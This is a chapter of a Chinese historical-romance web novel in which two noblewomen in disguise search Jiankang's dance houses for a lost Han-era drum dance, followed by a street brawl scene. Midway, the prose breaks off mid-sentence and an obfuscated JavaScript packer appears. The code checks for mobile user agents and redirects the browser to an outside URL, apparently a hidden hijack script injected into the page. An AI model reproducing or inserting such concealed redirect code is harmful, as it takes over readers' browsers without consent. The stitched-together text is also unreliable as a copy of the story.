在一个人人为了自保而恪守中庸,为了利益而攀附钻营的时代,有多少人还记得年幼时所立下的为了天下苍生的理想?那些话说出来,恐怕都会被人嘲笑为幼稚吧!
可是,这位从最底层的行伍拼搏出来的建军将军没有忘记,并且一直在践行,即使这会让他陷入极为危险的境地。
眼前这个气质略显粗鲁的男子,并不是他褚阳宇所熟悉的那一类人!
原本因为乘月的婚事,褚阳宇对刘毅存了偏见,以为这又是一个为了权势而投靠公卿世家之人,这样的人,身为公卿嗣子的他不知道见过多少!这次前来拜访和劝阻刘毅,也只是出于对虞褚两家和对乘月的担忧。
而现在,他的心中更多的是对这个面目刚毅的武将的敬重。
“人言可畏,兄长保重。”褚阳宇抱拳致意。
最近,建康城内的各大妓坊迎来了三个奇特的客人,其中的两人扮成贵公子的模样,明明脸上还带着稚气和拘谨,却模仿那些贵公子的举止,大摇大摆地走进这些纸醉金迷的风月场。
那些鸨母一个个都是人精,哪里看不出来她们其实是年轻的女郎?可是这几人气度不凡,出手阔绰,鸨母们也就不好拒绝这上门的生意了。
没错,这两个扮成贵公子模样的女郎就是我们的虞氏乘月和昭明公主。
自从清商令拒绝挑选民间乐舞后,她们便打算亲自去民间的妓坊寻访。不过两个年轻的世家女对建康城的妓坊根本不了解,乘月立刻想到了自己青梅竹马的表哥褚阳宇,他是天子的虎贲中郎将,同时也要负责皇城的治安,对建康城各个街道也算是熟悉了,几个妓坊应该也不在话下。
于是,我们的虎贲中郎将前脚还在建军将军的营帐,后脚就被乘月请到了虞府。
“表哥,求你了。”虞乘月的眼睛忽闪忽闪,眉头微蹙,楚楚可怜的样子,可是微微翘起的嘴角又泄露了她的志在必得,真是狡黠又可爱。
“还有,可不许告诉阿父阿母。”
褚阳宇无奈扶额,“好,都依你。”
他带着乘月和昭明公主去了建康城内以乐舞著称的妓坊,可这些妓坊的舞蹈和清商署的乐舞并无太大区别,只是更加柔靡罢了。
而今日,他们所到的,是京都最好的舞坊。这座舞坊的老板是认得虎贲中郎将的,他当即叫出了坊内身价最高最善舞的舞姬。
高台之上,轻纱薄幕,风袖凄凄,纤腰回转,巧笑倩兮,极尽妍婉。舞台之下,宾客们如痴如醉,高声喝彩。
“这些舞如何呢?”褚阳宇问。
昭明公主摇摇头,“这是不能在竞演时赢过鲜卑人的舞。”
“那个魏国王子不喜欢轻柔绮丽,不等于轻柔就不好啊!”褚阳宇不明白为何乘月她们要把魏国使者的话看得这样重。
“轻柔是一种美,但这种美是偏于孱弱的,总不能告诉魏国人,我们的文化只有柔弱和卑下吧!我们要展现出华夏厚重的风貌,就必须跳出有风骨的舞啊!”乘月解释道。
“各个伎坊都寻遍了,还能去哪里去找更有风骨和气势的乐舞呢?”
“你们会不会跳汉代的乐舞?”只能把希望寄托给这些专业的舞者。
舞者们面面相觑,汉代,那是很远的时代了,汉末战乱,各种乐舞散佚殆尽,她们又如何能习得呢?
“这次我们大晋要和魏国进行一次乐舞竞演,唯有汉代乐舞有希望胜出。此刻是需要诸位的时候,也是诸位展现才华的时候,有没有人愿意一试?”
舞姬们心中跃跃,她们身在妓坊,只能卑微地用姿色取悦他人,连她们视为珍宝的才艺,也不过是能被人随意践踏的玩意,能有一个机会在这样大的舞台展示才华,那是多么荣耀的事情啊!说不定一舞成名,像汉代的赵飞燕那样,靠姿容和舞技得到贵人的认可,一下子飞上枝头!
可是却依然没有一个舞姬敢站出来说自己会汉代的舞。
“也许,贵客们愿意听老妇说说话。”一个沧桑的声音在人群后响起。
众人循声望去,是一位年过四旬的妇人,她身着简单的湖水蓝襦裙,虽然没有舞姬们精致的妆容,但发髻纹丝不乱,在喧闹的舞坊,平添一分沉静。
“这位前辈是?”
“老妇是清商署在册的艺人,也是这些舞姬的教习师傅。”
清商署在册的官伎时常会面临考核,而必定是才艺超群者才会在年老色衰之时还能被舞坊邀请作教习的师傅。
“听贵客的意思,是觉得我们的舞不好,一定要汉代的乐舞才能与那胡人一争?”
“也不是,”乘月有些尴尬,“贵坊的舞在清商乐舞中也是数一数二的了,只是少了些风骨。”
“风骨,哈哈!你们竟然来到妓坊寻找风骨!”教习笑出了声,颜色中略带讥刺。
妓坊之人,身为乐籍,只能谄媚贵客,献艺而活,又何谈风骨?在这些不幸的人面前说起这个词,未免有些何不食肉糜了。
“我们走吧。”
“不过,我倒是想起了一个人。”教习话锋一转,成功地留住了三人。
“这个人是我们那一辈最出色的舞者,醉心于前朝散佚的舞蹈。当年为了拔得竞演头筹,获得清商令亲自授予的代表最高技艺的铜雀钗,她私下练习踏盘,想要再现汉代的盘鼓舞!”
“汉代的鼓舞!”那可是最能代表汉代气质的乐舞!舞者在鼓上腾挪,鼓声铮铮,刚毅热烈,是这个时代没有的色彩!
“她成功了吗?”三人目光炯炯,重燃希望。
“成功了,那天,我看着她在红色鼓面上跳舞,那种飞扬的神彩!”教习的神色不再平静,她仿佛回到了亲眼见到踏盘舞的那天,那个人面色骄傲,一步一踏,一步一响,鼓声咚咚,散发着蓬勃的力量!
“那这位前辈是谁呢?是否在清商署的名册?”
“她叫玄玉,已不在清商署的名册上。”
“这样优秀的舞者,为何不在清商署的名册呢?”
教习叹气道,“她本就貌美,又舞技出众,自然被人像绿珠一样被珍藏了起来。只是可惜,那年的竞演,她没有机会参加,盘鼓舞也没能惊艳世人。”
原来是被贵人纳为了私有。不过对于身份低微,命若浮萍的艺伎而言,后半生衣食无忧,也是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285912|198435||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一件幸事吧!
“那玄玉前辈现在是在谁家呢?还能再跳盘鼓舞吗?”
教习苦笑道,“玄玉的美貌和才艺,在清商署时,是尽情闪耀的星星;可在贵人的庭院,她只是贵人的私人物品,怎么能再像从前那般起舞?”
“我们去把她请出来,只是教一教舞呢?”
“来不及了,那个贵人将一颗明珠占为己有,不愿意其他人欣赏这颗明珠的辉煌。玄玉却仗着主君的宠爱,依旧出入伎坊,参与各种乐舞的编排和演出。庭院深深,她的盛宠本就招致了无数的嫉恨,自然少不了其他姬妾添油加醋,说她在外招摇,与他人有染,主君大怒,竟然生生打断了玄玉的双腿。”
“啊!”众人大惊。一个舞者,失去了双腿,和失去生命有什么区别?
“后来呢?”虞乘月轻声问。
虞云华从酒楼出来,神色愤愤!作为京都虞氏的嗣子,一直对自己的身份极为骄傲。未来,他会和虞氏的先祖一样,手握玉蝶,身着紫色的朝服,面色庄严地登上九重宫阙,与天子共议天下政事。
可是,从阿姐和刘毅定亲起,一切都变了!酒席之上,那些同侪少年们各个语含讥刺。
“逸章,你这以后去丹徒可方便了啊!”
“哈哈哈!逸章可不敢去哦!那个建军将军凶残得很,我家阿兄都被他打伤了!”
一群小人!
虞云华双手握拳,走得越来越快!
“喂,你撞到我的摊子了!”一个麻衣小贩拦住了虞云华的去路,他的摊子被虞云华撞翻,筐子倒了,贩卖的水果散落在地。
“滚!”
“哎哎!你赔我银子!不许走!”小贩也没看出来虞云华士族的身份,直接抓住了少年的手!
虞云华大怒,“你是什么东西,竟敢碰本公子!”
“哟!还挺有脾气,留下来给我做个小厮就放过你!”小贩看虞云华年纪不大,皮肤白皙,眉清目秀,说话就有了点轻浮的意思。
“你找死!”
虞云华抄起地上的木棍就往小贩身上砸。那小贩想反抗,但虞云华自幼习武,武艺由军中武将亲自教导,那小贩如何抵抗得了?
没几下,便只听得到小贩微弱的呼救声了。
路人围作一团,眼见得这个秀气的小郎君招式凌厉,竟没有一人敢上前劝架。
虞云华还要再打,手却被人死死扣住!
虞云华愤愤转头,竟是那个刘毅!
“放手!”少年怒道。
“当街行凶,这便是你的教养吗?”刘毅沉声道。
“你凭什么管我!”少年红着脸大声吼道!
“我是你姐夫!”
刘毅也来了气,这段时间他本就对京中的世家子弟积蓄了九成的不满,一看自己未来的妻弟这样当街殴打平民,未来很可能又是一个欺男霸女的纨绔蠹虫,这不满立刻涨到了十成!
“胆大妄为的贱民,就活该被打!”
虞云华恨恨盯着刘毅,话里话外分明是在指斥刘毅这个胆敢越过鸿沟的人!
“那我就替虞大人好好教训教训你!”